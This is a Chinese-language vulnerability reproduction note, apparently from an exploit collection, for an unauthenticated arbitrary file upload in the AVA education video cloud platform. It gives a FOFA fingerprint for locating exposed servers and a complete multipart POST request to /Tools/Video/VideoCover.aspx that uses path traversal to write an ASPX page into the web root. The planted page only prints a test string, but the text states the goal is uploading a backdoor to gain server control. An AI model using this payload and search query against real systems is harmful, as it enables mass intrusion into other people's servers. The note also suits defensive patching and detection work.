O1-1奥威亚-教育视频云平台-文件上传

漏洞描述：

奥威亚教学视频应用云平台 VideoCover.aspx接口处存在任意文件上传漏洞，未经身份验证的攻击者可利用上传后门文件达到获取服务器权限效果。

网站图片：

网络测绘：

fofa语法：

FOFA：body="/Upload/DomainInfo/MaxAVALogo.png"

漏洞复现：

payload：

```
POST /Tools/Video/VideoCover.aspx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5666.197 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLx7ATxHThfk91oxQ

------WebKitFormBoundaryLx7ATxHThfk91oxQ
Content-Disposition: form-data; name="file"; filename="/../../../AVA.Resourcesplatform.webUI/1.aspx"
Content-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("Hello,Test");%>
------WebKitFormBoundaryLx7ATxHThfk91oxQ-
```

效果图:

Request

数据包扫描 热加载 构造请求

```
1  POST /Tools/Video/VideoCover.aspx HTTP/1.1
2  Host : :8081
3  User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chr
   113.0.5666.197 Safari/537.36
4  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5  Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6  Accept-Encoding: gzip, deflate, br
7  Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLx7ATxHThfk91oxQ
8
9  ------WebKitFormBoundaryLx7ATxHThfk91oxQ
10 Content-Disposition: form-data; name="file"; filename="/../../../AVA.Resourcesplatform.webUI/1.a
11 Content-Type: image/jpeg
12
13 <%@Page Language="C#"%><%Response.Write("Hello,Test");%>
14 ------WebKitFormBoundaryLx7ATxHThfk91oxQ-
```

验证

Hello,Test